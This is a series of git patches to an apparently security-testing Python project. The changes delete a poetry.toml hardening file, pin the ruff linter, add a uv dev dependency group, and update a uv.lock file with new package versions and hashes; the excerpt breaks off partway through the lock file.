description = "Network protocols Constructors and Dissectors" optional = false python-versions = "*" @@ -1148,7 +1148,7 @@ six = "*" type = "git" url = "https://github.com/fortra/impacket" reference = "HEAD" -resolved_reference = "153e8ddb1ec3cda489443392cabf97c8c631a4e5" +resolved_reference = "137441c1545798a13fc234b4aa5232b522cb3507" [[package]] name = "iniconfig" From fd6b32e38641aff64fffecca7e30be85bab55a45 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Wed, 15 Jul 2026 15:48:53 +0200 Subject: [PATCH 093/397] Delete poetry.toml Signed-off-by: mpgn <5891788+mpgn@users.noreply.github.com> --- poetry.toml | 5 ----- 1 file changed, 5 deletions(-) delete mode 100644 poetry.toml diff --git a/poetry.toml b/poetry.toml deleted file mode 100644 index c7d8a29642..0000000000 --- a/poetry.toml +++ /dev/null @@ -1,5 +0,0 @@ -# Supply-chain hardening: Poetry will ignore package versions whose distribution -# files were uploaded within the last day, giving maintainers and scanners time -# to detect and remove malicious or compromised releases before resolution. -[solver] -min-release-age = 1 From d77c79bcc5d802db0a63f5727ba3260c0caab14e Mon Sep 17 00:00:00 2001 From: mpgn Date: Wed, 15 Jul 2026 16:06:09 +0200 Subject: [PATCH 094/397] fix ruff version --- .github/workflows/lint.yml | 6 ++++-- pyproject.toml | 10 +++++++++- 2 files changed, 13 insertions(+), 3 deletions(-) diff --git a/.github/workflows/lint.yml b/.github/workflows/lint.yml index 64381517d8..9f656a8dd2 100644 --- a/.github/workflows/lint.yml +++ b/.github/workflows/lint.yml @@ -21,7 +21,9 @@ jobs: enable-cache: true - name: Set up Python run: uv python install 3.13 + - name: Install project with dev group + run: uv sync --dev - name: Run ruff run: | - uvx ruff@0.11.0 --version - uvx ruff@0.11.0 check . --preview + uv run ruff --version + uv run ruff check . --preview diff --git a/pyproject.toml b/pyproject.toml index 653fbd3b0d..7067c8ecad 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -87,7 +87,15 @@ build-backend = "poetry_dynamic_versioning.backend" flake8 = "*" shiv = "*" pytest = "^7.2.2" -ruff = "*" +ruff = "==0.11.0" + +# uv-native dev group (PEP 735) +dev = [ + "flake8", + "shiv", + "pytest>=7.2.2,<8", + "ruff==0.11.0", +] # Supply-chain hardening: uv will ignore package artifacts uploaded to indexes # within the last day, giving maintainers and scanners time to detect and remove From 502df2f2ac19fddb4ca333eaef9f2cdce55e1cb9 Mon Sep 17 00:00:00 2001 From: mpgn Date: Wed, 15 Jul 2026 16:10:12 +0200 Subject: [PATCH 095/397] fix ruff version --- pyproject.toml | 1 + 1 file changed, 1 insertion(+) diff --git a/pyproject.toml b/pyproject.toml index 27f3791b1f..f6b224146e 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -90,6 +90,7 @@ pytest = "^7.2.2" ruff = "==0.11.0" # uv-native dev group (PEP 735) +[dependency-groups] dev = [ "flake8", "shiv", From b4f5b4182d2fb72cea3f891ef3fb49c5b866b56d Mon Sep 17 00:00:00 2001 From: mpgn Date: Wed, 15 Jul 2026 16:10:52 +0200 Subject: [PATCH 096/397] add lock --- uv.lock | 1287 ++++++++++++++++++++++++++++++++----------------------- 1 file changed, 745 insertions(+), 542 deletions(-) diff --git a/uv.lock b/uv.lock index fd3f95c520..c555cf1ebf 100644 --- a/uv.lock +++ b/uv.lock @@ -3,12 +3,12 @@ revision = 3 requires-python = ">=3.10, <4.0" [options] -exclude-newer = "0001-01-01T00:00:00Z" # This has no effect and is included for backwards compatibility when using relative exclude-newer values. +exclude-newer = "2026-07-14T14:10:39.438350905Z" exclude-newer-span = "P1D" [[package]] name = "aardwolf" -version = "0.2.13" +version = "0.2.14" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "arc4" }, @@ -22,33 +22,7 @@ dependencies = [ { name = "tqdm" }, { name = "unicrypto" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/60/0f/80dd9e2b2c7873602ea03e3888fd682eeea2acf93234aa617e73f4662187/aardwolf-0.2.13.tar.gz", hash = "sha256:95d186a162dbbade1f92b2ae659235c5cab42eff66c9528ad66c8c5c41b77eec", size = 969740, upload-time = "2025-08-19T13:33:04.133Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/da/1b/e550f31844f48bee0b54fb470f619d9db7cebd4556d818b25e35eb5b182b/aardwolf-0.2.13-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:2a2f79f774807ad2fe2aa702b32b8f98d9c7d8474761a235a9e42747a1ba7693", size = 1902078, upload-time = "2025-08-19T13:32:11.694Z" }, - { url = "https://files.pythonhosted.org/packages/7f/86/7555873e85dddd5be43ad6ae2a3900d2d16cbef0a1fbbf1b6f706b227fb7/aardwolf-0.2.13-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:23ecf64d1f2a28e6ece62d983373543f8f6d7273878d7f608d93c26448f49f99", size = 1932141, upload-time = "2025-08-19T13:32:13.432Z" }, - { url = "https://files.pythonhosted.org/packages/8b/9c/9a79efd8ec3c602aced49c207ecb9b0090838e0f174e6b00aadd6b3c6ef8/aardwolf-0.2.13-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5ed3543fbdd99d568e31fd1418fc0b0d3939d0c8c8338a1b78ac5c282c8ef7fc", size = 1951532, upload-time = "2025-08-19T13:32:14.937Z" }, - { url = "https://files.pythonhosted.org/packages/37/01/5d761c3b31c8eb352ffb0ef02a2ad4039c550749b5fbeed438e4ad2e13f2/aardwolf-0.2.13-cp310-cp310-win_amd64.whl", hash = "sha256:b9ffec598c4e0f7d3c7f5c5cf741d1639fba4091290a41730f5901d663158700", size = 1799504, upload-time = "2025-08-19T13:32:16.314Z" }, - { url = "https://files.pythonhosted.org/packages/18/43/91c5ea54feb0a052ff2c53527f833a3e57b5dbce3a2f49ec39e8cddef289/aardwolf-0.2.13-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:1b7b3bcbb0dc718daef2d89ec69560c6764f17962ca86721fe5de4838f855b23", size = 1901959, upload-time = "2025-08-19T13:32:18.091Z" }, - { url = "https://files.pythonhosted.org/packages/cb/20/6d5bd45d1983bf4041e82fd28f6cf580f1fd044108c19341c9ea5801aa47/aardwolf-0.2.13-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c6185cccf51a98a5396edb5b1dba26b31080b15d7357a22f2e0d086590962a4e", size = 1931760, upload-time = "2025-08-19T13:32:19.467Z" }, - { url = "https://files.pythonhosted.org/packages/2c/c8/d0f98fab3de6e5c32f3a549b6a033947a3eec60c876577089983ac7c9bd7/aardwolf-0.2.13-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:fcbe77f0cc1cbe0e9a1b40669007c5b72e155099bc0f645b48ce843a09113db2", size = 1951001, upload-time = "2025-08-19T13:32:20.925Z" }, - { url = "https://files.pythonhosted.org/packages/22/45/14a93127f001c470cc14725b289ff5a92c6d9221f8a3f0c38c53244554f3/aardwolf-0.2.13-cp311-cp311-win_amd64.whl", hash = "sha256:726eae2ace82a0f96608c74d6d393fb8c61d711ade232fecc662839c1bb148a7", size = 1799285, upload-time = "2025-08-19T13:32:22.69Z" }, - { url = "https://files.pythonhosted.org/packages/cb/fa/125cad20edf07a6e0fcc4f29fa8fb30df94ea4ce1d989a0200eae0b4c2eb/aardwolf-0.2.13-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:70e0f31d61dafffe8f19921c28bcb77909cb2c73f14c98cf6eb2fde42ce5de2d", size = 1900281, upload-time = "2025-08-19T13:32:24.115Z" }, - { url = "https://files.pythonhosted.org/packages/2a/cf/b535fe5b244ae1a1da57d6fda60029970d5434b18febccab170215f6e885/aardwolf-0.2.13-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:42aa2bb888127088a5f5ce29ca2acce33270afe15016ace16dfa373525fb9d6a", size = 1931316, upload-time = "2025-08-19T13:32:26.179Z" }, - { url = "https://files.pythonhosted.org/packages/f5/67/273897a0890ddc6d357622923bf34a52fcdd32b45c17cbd08d4c6ca659b2/aardwolf-0.2.13-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:df6298af95c2ede4886538d3f05ac32e6b7060d098c273fb119d70dd2140837d", size = 1950499, upload-time = "2025-08-19T13:32:28.861Z" }, - { url = "https://files.pythonhosted.org/packages/94/30/86d8562c89afe511aaac157a98929a7990c38f899658d2bf43de2494abb6/aardwolf-0.2.13-cp312-cp312-win_amd64.whl", hash = "sha256:f5d52440965b81eb824da7274d422b409637f825d0490e5a247a9da756df7358", size = 1799066, upload-time = "2025-08-19T13:32:30.563Z" }, - { url = "https://files.pythonhosted.org/packages/fd/8b/9fa2caf00f762af10be1158dcb54c2920e0dcdf1bf2937a7697e4277aa79/aardwolf-0.2.13-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:d70d489d1b6b25100a70a2add0c14cfcbc82b9230a352307a53df4000208daa1", size = 1900537, upload-time = "2025-08-19T13:32:32.068Z" }, - { url = "https://files.pythonhosted.org/packages/bf/f7/8a903bfcca858f8b9b36257a7942494b1d432d9a541a42ca69e8cca33fb0/aardwolf-0.2.13-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:49a6ba4d2c5571b39d0437fa2a691102fcd9e2ca97d17613d84bdd2695e59648", size = 1931515, upload-time = "2025-08-19T13:32:33.713Z" }, - { url = "https://files.pythonhosted.org/packages/99/07/2658ff43b69c029326a166b3255eb36119fae1c5db942513a92e4f7ea88f/aardwolf-0.2.13-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8ae112f0d05366407bcb67613c15a61f21f4cc48a487fb5091571321bc39d01b", size = 1951041, upload-time = "2025-08-19T13:32:35.609Z" }, - { url = "https://files.pythonhosted.org/packages/cc/96/088aeeed80ca4da952ec44a8d6c578b50f99678dded7dd86de72ecdfb430/aardwolf-0.2.13-cp313-cp313-win_amd64.whl", hash = "sha256:e087a5d37406234a8938ebbf27cee7ab762ce73662deb90929f2bb047635ffd8", size = 1799134, upload-time = "2025-08-19T13:32:37.001Z" }, - { url = "https://files.pythonhosted.org/packages/9f/5f/788101b7530f05b8547fbdf1960586a1fd9ab521b1128a07a3f1e7e8e807/aardwolf-0.2.13-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:66c599a792d67e7e22dfdfd83d440d6708cdbbd3e6d96a0f1f2367940a1271d3", size = 1902087, upload-time = "2025-08-19T13:32:45.3Z" }, - { url = "https://files.pythonhosted.org/packages/e5/88/0d4b297ad7e6e321b272bc0c8fda6f70e019389b7c441ff4e66f2ef51187/aardwolf-0.2.13-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:36ec601ba9376f933c760c712d3e35691b774029777c4e79f8c5abd37876df72", size = 1932219, upload-time = "2025-08-19T13:32:46.761Z" }, - { url = "https://files.pythonhosted.org/packages/b0/a2/17066552d3a35c5b8151e732d94480aecb1a4b3fb9652d7fe8cdc7bf0e46/aardwolf-0.2.13-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:bd42b25029dfa88be08c63863bd6852d8e8afa31842a2f024070236138bbb8a1", size = 1951445, upload-time = "2025-08-19T13:32:48.382Z" }, - { url = "https://files.pythonhosted.org/packages/32/df/d9b50944b6b061d7c93f7fbd89640e5adafeaa89afb2fb8513506f37883d/aardwolf-0.2.13-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:b344a4740ceb1064c5776e72960861b7b3c768c1daff7a737abd7f4d98dd5780", size = 1799425, upload-time = "2025-08-19T13:32:49.78Z" }, - { url = "https://files.pythonhosted.org/packages/d5/88/25db95c57b23ae09554ed9f4849417ca0ec386c983cb58215cee3b8830a3/aardwolf-0.2.13-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:5a3c0e40debad804a84d4cf88304a26e904b73193dcc2ff9ffe927a26aea9dfa", size = 1901861, upload-time = "2025-08-19T13:32:51.262Z" }, - { url = "https://files.pythonhosted.org/packages/00/ee/379619d1299129f192742cf9c69b7a37fc45d9017d36c84f6b4d29344139/aardwolf-0.2.13-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4377bc185dd4c4d119af7e029edd3eddb94858e0a024f3fe4b05ac8e57244a8a", size = 1931731, upload-time = "2025-08-19T13:32:53.132Z" }, - { url = "https://files.pythonhosted.org/packages/98/64/a2ca9dd8fea7d1cfb7272db33a3631a003d6fe124ec4ce74ffa2fbd5980d/aardwolf-0.2.13-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:aef5e21ffd35b3d38cb9a8f54b53682d78084e63cc8b40fb891ce8b12b8402bb", size = 1951277, upload-time = "2025-08-19T13:32:54.567Z" }, - { url = "https://files.pythonhosted.org/packages/5b/d3/289f31634b0194315b3db831a5a970177298228f7efc37a93bb134ad73f0/aardwolf-0.2.13-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:da6fcdf569fd8c9d65202f8446119739d375854702a38e2ae0ca7410b16c1aed", size = 1799434, upload-time = "2025-08-19T13:32:55.99Z" }, -] +sdist = { url = "https://files.pythonhosted.org/packages/92/88/b1a7e3dd1e727245fe893bb707520ba91cc980443c0c261f730b35244b62/aardwolf-0.2.14.tar.gz", hash = "sha256:360a1a3d046dc2814c2e58339939a8f311ae330c0d1d962790edf45d726af4a6", size = 973985, upload-time = "2026-06-20T21:07:04.498Z" } [[package]] name = "aesedb" @@ -109,16 +83,16 @@ wheels = [ [[package]] name = "anyio" -version = "4.13.0" +version = "4.14.2" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "exceptiongroup", marker = "python_full_version < '3.11'" }, { name = "idna" }, { name = "typing-extensions", marker = "python_full_version < '3.13'" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/19/14/2c5dd9f512b66549ae92767a9c7b330ae88e1932ca57876909410251fe13/anyio-4.13.0.tar.gz", hash = "sha256:334b70e641fd2221c1505b3890c69882fe4a2df910cba14d97019b90b24439dc", size = 231622, upload-time = "2026-03-24T12:59:09.671Z" } +sdist = { url = "https://files.pythonhosted.org/packages/61/cc/a381afa6efea9f496eff839d4a6a1aed3bfafc7b3ab4b0d1b243a12573dd/anyio-4.14.2.tar.gz", hash = "sha256:cfa139f3ed1a23ee8f88a145ddb5ac7605b8bbfd8592baacd7ce3d8bb4313c7f", size = 260176, upload-time = "2026-07-12T20:29:07.082Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/da/42/e921fccf5015463e32a3cf6ee7f980a6ed0f395ceeaa45060b61d86486c2/anyio-4.13.0-py3-none-any.whl", hash = "sha256:08b310f9e24a9594186fd75b4f73f4a4152069e3853f1ed8bfbf58369f4ad708", size = 114353, upload-time = "2026-03-24T12:59:08.246Z" }, + { url = "https://files.pythonhosted.org/packages/da/35/f2287558c17e29fafc8ef3daf819bb9834061cfa43bff8014f7df7f63bdc/anyio-4.14.2-py3-none-any.whl", hash = "sha256:9f505dda5ac9f0c8309b5e8bd445a8c2bf7246f3ce950121e45ea15bc41d1494", size = 125813, upload-time = "2026-07-12T20:29:05.763Z" }, ] [[package]] @@ -387,11 +361,11 @@ wheels = [ [[package]] name = "certifi" -version = "2026.4.22" +version = "2026.6.17" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/25/ee/6caf7a40c36a1220410afe15a1cc64993a1f864871f698c0f93acb72842a/certifi-2026.4.22.tar.gz", hash = "sha256:8d455352a37b71bf76a79caa83a3d6c25afee4a385d632127b6afb3963f1c580", size = 137077, upload-time = "2026-04-22T11:26:11.191Z" } +sdist = { url = "https://files.pythonhosted.org/packages/c9/c7/424b75da314c1045981bd9777432fad05a9e0c69daa4ed7e308bbaffe405/certifi-2026.6.17.tar.gz", hash = "sha256:024c88eeec92ca068db80f02b8b07c9cef7b9fe261d1d535abfd5abd6f6af432", size = 134594, upload-time = "2026-06-17T10:31:07.894Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/22/30/7cd8fdcdfbc5b869528b079bfb76dcdf6056b1a2097a662e5e8c04f42965/certifi-2026.4.22-py3-none-any.whl", hash = "sha256:3cb2210c8f88ba2318d29b0388d1023c8492ff72ecdde4ebdaddbb13a31b1c4a", size = 135707, upload-time = "2026-04-22T11:26:09.372Z" }, + { url = "https://files.pythonhosted.org/packages/ef/2f/c5464532e965badff2f4c4c1a3a83f5697f0d7c407ed0cda44aaa99bb451/certifi-2026.6.17-py3-none-any.whl", hash = "sha256:2227dcbaafe0d2f59279d1762ddddc37783ed4354594f194ffc31d20f41fc3db", size = 133289, upload-time = "2026-06-17T10:31:06.348Z" }, ] [[package]] @@ -413,8 +387,8 @@ wheels = [ [[package]] name = "certipy-ad" -version = "5.0.4" -source = { git = "https://github.com/Pennyw0rth/Certipy#49a4aa6b17d2246491a81f89b0d7d74b732c66d4" } +version = "5.1.0" +source = { git = "https://github.com/Pennyw0rth/Certipy#2fa586dcfce5c90e7847be10586ae26f11741210" } dependencies = [ { name = "argcomplete" }, { name = "asn1crypto" }, @@ -431,201 +405,211 @@ dependencies = [ [[package]] name = "cffi" -version = "2.0.0" +version = "2.1.0" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "pycparser", marker = "implementation_name != 'PyPy'" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/eb/56/b1ba7935a17738ae8453301356628e8147c79dbb825bcbc73dc7401f9846/cffi-2.0.0.tar.gz", hash = "sha256:44d1b5909021139fe36001ae048dbdde8214afa20200eda0f64c068cac5d5529", size = 523588, upload-time = "2025-09-08T23:24:04.541Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/93/d7/516d984057745a6cd96575eea814fe1edd6646ee6efd552fb7b0921dec83/cffi-2.0.0-cp310-cp310-macosx_10_13_x86_64.whl", hash = "sha256:0cf2d91ecc3fcc0625c2c530fe004f82c110405f101548512cce44322fa8ac44", size = 184283, upload-time = "2025-09-08T23:22:08.01Z" }, - { url = "https://files.pythonhosted.org/packages/9e/84/ad6a0b408daa859246f57c03efd28e5dd1b33c21737c2db84cae8c237aa5/cffi-2.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:f73b96c41e3b2adedc34a7356e64c8eb96e03a3782b535e043a986276ce12a49", size = 180504, upload-time = "2025-09-08T23:22:10.637Z" }, - { url = "https://files.pythonhosted.org/packages/50/bd/b1a6362b80628111e6653c961f987faa55262b4002fcec42308cad1db680/cffi-2.0.0-cp310-cp310-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:53f77cbe57044e88bbd5ed26ac1d0514d2acf0591dd6bb02a3ae37f76811b80c", size = 208811, upload-time = "2025-09-08T23:22:12.267Z" }, - { url = "https://files.pythonhosted.org/packages/4f/27/6933a8b2562d7bd1fb595074cf99cc81fc3789f6a6c05cdabb46284a3188/cffi-2.0.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:3e837e369566884707ddaf85fc1744b47575005c0a229de3327f8f9a20f4efeb", size = 216402, upload-time = "2025-09-08T23:22:13.455Z" }, - { url = "https://files.pythonhosted.org/packages/05/eb/b86f2a2645b62adcfff53b0dd97e8dfafb5c8aa864bd0d9a2c2049a0d551/cffi-2.0.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:5eda85d6d1879e692d546a078b44251cdd08dd1cfb98dfb77b670c97cee49ea0", size = 203217, upload-time = "2025-09-08T23:22:14.596Z" }, - { url = "https://files.pythonhosted.org/packages/9f/e0/6cbe77a53acf5acc7c08cc186c9928864bd7c005f9efd0d126884858a5fe/cffi-2.0.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:9332088d75dc3241c702d852d4671613136d90fa6881da7d770a483fd05248b4", size = 203079, upload-time = "2025-09-08T23:22:15.769Z" }, - { url = "https://files.pythonhosted.org/packages/98/29/9b366e70e243eb3d14a5cb488dfd3a0b6b2f1fb001a203f653b93ccfac88/cffi-2.0.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:fc7de24befaeae77ba923797c7c87834c73648a05a4bde34b3b7e5588973a453", size = 216475, upload-time = "2025-09-08T23:22:17.427Z" }, - { url = "https://files.pythonhosted.org/packages/21/7a/13b24e70d2f90a322f2900c5d8e1f14fa7e2a6b3332b7309ba7b2ba51a5a/cffi-2.0.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:cf364028c016c03078a23b503f02058f1814320a56ad535686f90565636a9495", size = 218829, upload-time = "2025-09-08T23:22:19.069Z" }, - { url = "https://files.pythonhosted.org/packages/60/99/c9dc110974c59cc981b1f5b66e1d8af8af764e00f0293266824d9c4254bc/cffi-2.0.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:e11e82b744887154b182fd3e7e8512418446501191994dbf9c9fc1f32cc8efd5", size = 211211, upload-time = "2025-09-08T23:22:20.588Z" }, - { url = "https://files.pythonhosted.org/packages/49/72/ff2d12dbf21aca1b32a40ed792ee6b40f6dc3a9cf1644bd7ef6e95e0ac5e/cffi-2.0.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:8ea985900c5c95ce9db1745f7933eeef5d314f0565b27625d9a10ec9881e1bfb", size = 218036, upload-time = "2025-09-08T23:22:22.143Z" }, - { url = "https://files.pythonhosted.org/packages/e2/cc/027d7fb82e58c48ea717149b03bcadcbdc293553edb283af792bd4bcbb3f/cffi-2.0.0-cp310-cp310-win32.whl", hash = "sha256:1f72fb8906754ac8a2cc3f9f5aaa298070652a0ffae577e0ea9bd480dc3c931a", size = 172184, upload-time = "2025-09-08T23:22:23.328Z" }, - { url = "https://files.pythonhosted.org/packages/33/fa/072dd15ae27fbb4e06b437eb6e944e75b068deb09e2a2826039e49ee2045/cffi-2.0.0-cp310-cp310-win_amd64.whl", hash = "sha256:b18a3ed7d5b3bd8d9ef7a8cb226502c6bf8308df1525e1cc676c3680e7176739", size = 182790, upload-time = "2025-09-08T23:22:24.752Z" }, - { url = "https://files.pythonhosted.org/packages/12/4a/3dfd5f7850cbf0d06dc84ba9aa00db766b52ca38d8b86e3a38314d52498c/cffi-2.0.0-cp311-cp311-macosx_10_13_x86_64.whl", hash = "sha256:b4c854ef3adc177950a8dfc81a86f5115d2abd545751a304c5bcf2c2c7283cfe", size = 184344, upload-time = "2025-09-08T23:22:26.456Z" }, - { url = "https://files.pythonhosted.org/packages/4f/8b/f0e4c441227ba756aafbe78f117485b25bb26b1c059d01f137fa6d14896b/cffi-2.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:2de9a304e27f7596cd03d16f1b7c72219bd944e99cc52b84d0145aefb07cbd3c", size = 180560, upload-time = "2025-09-08T23:22:28.197Z" }, - { url = "https://files.pythonhosted.org/packages/b1/b7/1200d354378ef52ec227395d95c2576330fd22a869f7a70e88e1447eb234/cffi-2.0.0-cp311-cp311-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:baf5215e0ab74c16e2dd324e8ec067ef59e41125d3eade2b863d294fd5035c92", size = 209613, upload-time = "2025-09-08T23:22:29.475Z" }, - { url = "https://files.pythonhosted.org/packages/b8/56/6033f5e86e8cc9bb629f0077ba71679508bdf54a9a5e112a3c0b91870332/cffi-2.0.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:730cacb21e1bdff3ce90babf007d0a0917cc3e6492f336c2f0134101e0944f93", size = 216476, upload-time = "2025-09-08T23:22:31.063Z" }, - { url = "https://files.pythonhosted.org/packages/dc/7f/55fecd70f7ece178db2f26128ec41430d8720f2d12ca97bf8f0a628207d5/cffi-2.0.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:6824f87845e3396029f3820c206e459ccc91760e8fa24422f8b0c3d1731cbec5", size = 203374, upload-time = "2025-09-08T23:22:32.507Z" }, - { url = "https://files.pythonhosted.org/packages/84/ef/a7b77c8bdc0f77adc3b46888f1ad54be8f3b7821697a7b89126e829e676a/cffi-2.0.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:9de40a7b0323d889cf8d23d1ef214f565ab154443c42737dfe52ff82cf857664", size = 202597, upload-time = "2025-09-08T23:22:34.132Z" }, - { url = "https://files.pythonhosted.org/packages/d7/91/500d892b2bf36529a75b77958edfcd5ad8e2ce4064ce2ecfeab2125d72d1/cffi-2.0.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:8941aaadaf67246224cee8c3803777eed332a19d909b47e29c9842ef1e79ac26", size = 215574, upload-time = "2025-09-08T23:22:35.443Z" }, - { url = "https://files.pythonhosted.org/packages/44/64/58f6255b62b101093d5df22dcb752596066c7e89dd725e0afaed242a61be/cffi-2.0.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:a05d0c237b3349096d3981b727493e22147f934b20f6f125a3eba8f994bec4a9", size = 218971, upload-time = "2025-09-08T23:22:36.805Z" }, - { url = "https://files.pythonhosted.org/packages/ab/49/fa72cebe2fd8a55fbe14956f9970fe8eb1ac59e5df042f603ef7c8ba0adc/cffi-2.0.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:94698a9c5f91f9d138526b48fe26a199609544591f859c870d477351dc7b2414", size = 211972, upload-time = "2025-09-08T23:22:38.436Z" }, - { url = "https://files.pythonhosted.org/packages/0b/28/dd0967a76aab36731b6ebfe64dec4e981aff7e0608f60c2d46b46982607d/cffi-2.0.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:5fed36fccc0612a53f1d4d9a816b50a36702c28a2aa880cb8a122b3466638743", size = 217078, upload-time = "2025-09-08T23:22:39.776Z" }, - { url = "https://files.pythonhosted.org/packages/2b/c0/015b25184413d7ab0a410775fdb4a50fca20f5589b5dab1dbbfa3baad8ce/cffi-2.0.0-cp311-cp311-win32.whl", hash = "sha256:c649e3a33450ec82378822b3dad03cc228b8f5963c0c12fc3b1e0ab940f768a5", size = 172076, upload-time = "2025-09-08T23:22:40.95Z" }, - { url = "https://files.pythonhosted.org/packages/ae/8f/dc5531155e7070361eb1b7e4c1a9d896d0cb21c49f807a6c03fd63fc877e/cffi-2.0.0-cp311-cp311-win_amd64.whl", hash = "sha256:66f011380d0e49ed280c789fbd08ff0d40968ee7b665575489afa95c98196ab5", size = 182820, upload-time = "2025-09-08T23:22:42.463Z" }, - { url = "https://files.pythonhosted.org/packages/95/5c/1b493356429f9aecfd56bc171285a4c4ac8697f76e9bbbbb105e537853a1/cffi-2.0.0-cp311-cp311-win_arm64.whl", hash = "sha256:c6638687455baf640e37344fe26d37c404db8b80d037c3d29f58fe8d1c3b194d", size = 177635, upload-time = "2025-09-08T23:22:43.623Z" }, - { url = "https://files.pythonhosted.org/packages/ea/47/4f61023ea636104d4f16ab488e268b93008c3d0bb76893b1b31db1f96802/cffi-2.0.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:6d02d6655b0e54f54c4ef0b94eb6be0607b70853c45ce98bd278dc7de718be5d", size = 185271, upload-time = "2025-09-08T23:22:44.795Z" }, - { url = "https://files.pythonhosted.org/packages/df/a2/781b623f57358e360d62cdd7a8c681f074a71d445418a776eef0aadb4ab4/cffi-2.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:8eca2a813c1cb7ad4fb74d368c2ffbbb4789d377ee5bb8df98373c2cc0dee76c", size = 181048, upload-time = "2025-09-08T23:22:45.938Z" }, - { url = "https://files.pythonhosted.org/packages/ff/df/a4f0fbd47331ceeba3d37c2e51e9dfc9722498becbeec2bd8bc856c9538a/cffi-2.0.0-cp312-cp312-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:21d1152871b019407d8ac3985f6775c079416c282e431a4da6afe7aefd2bccbe", size = 212529, upload-time = "2025-09-08T23:22:47.349Z" }, - { url = "https://files.pythonhosted.org/packages/d5/72/12b5f8d3865bf0f87cf1404d8c374e7487dcf097a1c91c436e72e6badd83/cffi-2.0.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:b21e08af67b8a103c71a250401c78d5e0893beff75e28c53c98f4de42f774062", size = 220097, upload-time = "2025-09-08T23:22:48.677Z" }, - { url = "https://files.pythonhosted.org/packages/c2/95/7a135d52a50dfa7c882ab0ac17e8dc11cec9d55d2c18dda414c051c5e69e/cffi-2.0.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:1e3a615586f05fc4065a8b22b8152f0c1b00cdbc60596d187c2a74f9e3036e4e", size = 207983, upload-time = "2025-09-08T23:22:50.06Z" }, - { url = "https://files.pythonhosted.org/packages/3a/c8/15cb9ada8895957ea171c62dc78ff3e99159ee7adb13c0123c001a2546c1/cffi-2.0.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:81afed14892743bbe14dacb9e36d9e0e504cd204e0b165062c488942b9718037", size = 206519, upload-time = "2025-09-08T23:22:51.364Z" }, - { url = 